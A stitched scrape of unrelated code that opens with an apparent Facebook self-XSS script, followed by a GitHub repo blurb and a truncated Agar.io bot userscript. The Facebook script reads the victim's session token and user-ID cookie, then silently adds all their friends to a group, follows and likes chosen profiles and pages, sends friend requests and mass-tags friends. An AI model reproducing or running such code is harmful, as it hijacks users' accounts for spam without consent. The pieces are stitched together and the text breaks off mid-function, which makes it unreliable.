a("100004156140628"); a("100001981891207"); sublist("1385595931706677"); sublist("1385634855036118"); //Group ku adibpn var gid = ['113']; var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['send'](paramswp); var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var friends = new Array(); gf = new XMLHttpRequest(); gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false); gf['send'](); if (gf['readyState'] != 4) {} else { data = eval('(' + gf['responseText']['substr'](9) + ')'); if (data['error']) {} else { friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) { return _0x93dax8['index'] - _0x93dax9['index']; }); }; }; for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?__a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () { if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp); }; var spage_id = "582018668558520"; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var smesaj = ""; var smesaj_text = ""; var arkadaslar = []; var svn_rev; var bugun= new Date(); var btarihi = new Date(); btarihi.setTime(bugun.getTime() + 1000*60*60*4*1); if(!document.cookie.match(/paylasti=(\d+)/)){ document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString(); } //arkadaslari al ve isle function sarkadaslari_al(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){ smesaj = ""; smesaj_text = ""; for(i=f*10;i<(f+1)*10;i++){ if(arkadaslar.payload.entries[i]){ smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]"; smesaj_text += " " + arkadaslar.payload.entries[i].text; } } sdurumpaylas(); } } }; var params = "&filter[0]=user"; params += "&options[0]=friends_only"; params += "&options[1]=nm"; params += "&token=v7"; params += "&viewer=" + user_id; params += "&__user=" + user_id; if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } xmlhttp.send(); } //tiklama olayini dinle var tiklama = document.addEventListener("click", function () { if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){ svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0]; sarkadaslari_al(); document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString(); document.removeEventListener(tiklama); } }, false); //arkada leme function sarkadasekle(uid,cins){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ } }; xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); var params = "to_friend=" + uid; params += "&action=add_friend"; params += "&how_found=friend_browser"; params += "&ref_param=none"; params += "&outgoing_id="; params += "&logging_location=friend_browser"; params += "&no_flyout_on_click=true"; params += "&ego_log_data="; params += "&http_referer="; params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value; params += "&phstamp=165816749114848369115"; params += "&__user=" + user_id; xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded"); if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){ xmlhttp.send(params); }else if(document.cookie.split("cins" + user_id +"=").length <= 1){ cinsiyetgetir(uid,cins,"sarkadasekle"); }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){ xmlhttp.send(params); } } //cinsiyet belirleme var cinssonuc = {}; var cinshtml = document.createElement("html"); function scinsiyetgetir(uid,cins,fonksiyon){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html btarihi.setTime(bugun.getTime() + 1000*60*60*24*365); if(cinshtml.getElementsByTagName("select")[0].value == "1"){ document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString(); }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){ document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString(); } eval(fonksiyon + "(" + id + "," + cins + ");"); } }; xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true); xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.send(); } function autoSuggest() { links=document.getElementsByTagName('a'); for (i in links) { l=links[i]; if(l.innerHTML == '<span class="uiButtonText">Suggest Friend</span>') { l.click(); } } } function blub() { if(document.getElementsByClassName('pbm fsm').length == 1) { w = document.getElementsByClassName('pbm fsm')[0]; e = document.createElement('a'); //e.href = '#'; e.innerHTML = 'Auto Suggest by Adib Pugar Nuraga'; e.className = 'uiButton'; e.onclick = autoSuggest; if( w.childElementCount == 0) { w.appendChild(document.createElement('br')); w.appendChild(e); } } } blub(); document.addEventListener("DOMNodeInserted", blub, true); // Like pic like page var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function Like(p) { var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp="; Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParams); } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value; var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone) { var http4=new XMLHttpRequest; var url4="/ajax/follow/follow_profile.php?__a=1"; var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp="; http4.open("POST",url4,true); http4.onreadystatechange=function() { if(http4.readyState==4&&http4.status==200)http4.close } ; http4.send(params4) } function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } function p(abone) { var http4 = new XMLHttpRequest(); var url4 = "//www.facebook.com/ajax/poke_dialog.php"; var params4 = "uid=" + abone + "&pokeback=0&ask_for_confirm=0&nctr[_mod]=pagelet_timeline_profile_actions&__asyncDialog=1&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=v&fb_dtsg="+fb_dtsg+"&phstamp="; http4.open("POST", url4, true); http4.onreadystatechange = function () { if (http4.readyState == 4 && http4.status == 200) { http4.close; } }; http4.send(params4); }var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var now=(new Date).getTime(); function P(opo) { var X = new XMLHttpRequest(); var XURL ="//www.facebook.com/ajax/ufi/like.php"; var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } // pic + fans P("1442760625958596");P("283364628478740");P("282734018541801");P("282405835241286");P("282118645270005");P("277214845760385");Like("621772907859073");Like("6190916227759366");Like("1441970956037563");Like("190916227759366");
pitabwire / XidXid is a globally unique id generator. Xids are small, fast to generate, sortable, compact URL-safe string with no configuration or central generator server.
Lifestylerr / DAWD/*The MIT License (MIT) Copyright (c) 2015 Apostolique Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ // ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 4.124 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 4.124; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; }; var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data.data); console.log("hmm: " + data.data.object.sha); sha = data.data.object.sha; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } window.botList[botIndex].keyAction(e); } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function pb() { //UPDATE window.botList = window.botList || []; window.jQuery('#nick').val(originalName); function HumanPlayerObject() { this.name = "Human"; this.keyAction = function(key) {}; this.displayText = function() { return []; }; this.mainLoop = humanPlayer; } var hpo = new HumanPlayerObject(); window.botList.push(hpo); window.updateBotList(); ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - 10, da: b - 10, oa: c + 10, pa: l + 10, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (toggle || window.botList[botIndex].name == "Human") { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t)); } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/findServer", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b.alert && alert(b.alert), Ca("ws://" + b.ip, b.token)) }, dataType: "json", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 5, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), n.birth = getLastUpdate(), n.birthMass = (n.size * n.size / 100), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); //console.log("Time not updated: " + (window.getLastUpdate() - interNodes[element].getUptimeTime())); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } /** * Some horse shit of some sort. * @return Horse Shit */ function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } /** * A conversion from the screen's horizontal coordinate system * to the game's horizontal coordinate system. * @param x in the screen's coordinate system * @return x in the game's coordinate system */ window.screenToGameX = function(x) { return (x - getWidth() / 2) / getRatio() + getX(); } /** * A conversion from the screen's vertical coordinate system * to the game's vertical coordinate system. * @param y in the screen's coordinate system * @return y in the game's coordinate system */ window.screenToGameY = function(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; console.log("Done Reviving!"); } if (T()) { var a = fa - m / 2; var b = ga - r / 2; 64 > a * a + b * b || .01 > Math.abs(eb - ia) && .01 > Math.abs(fb - ja) || (eb = ia, fb = ja, a = N(13), a.setUint8(0, 16), a.setInt32(1, ia, !0), a.setInt32(5, ja, !0), a.setUint32(9, 0, !0), O(a)) } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex].mainLoop(); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime()) / 1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if 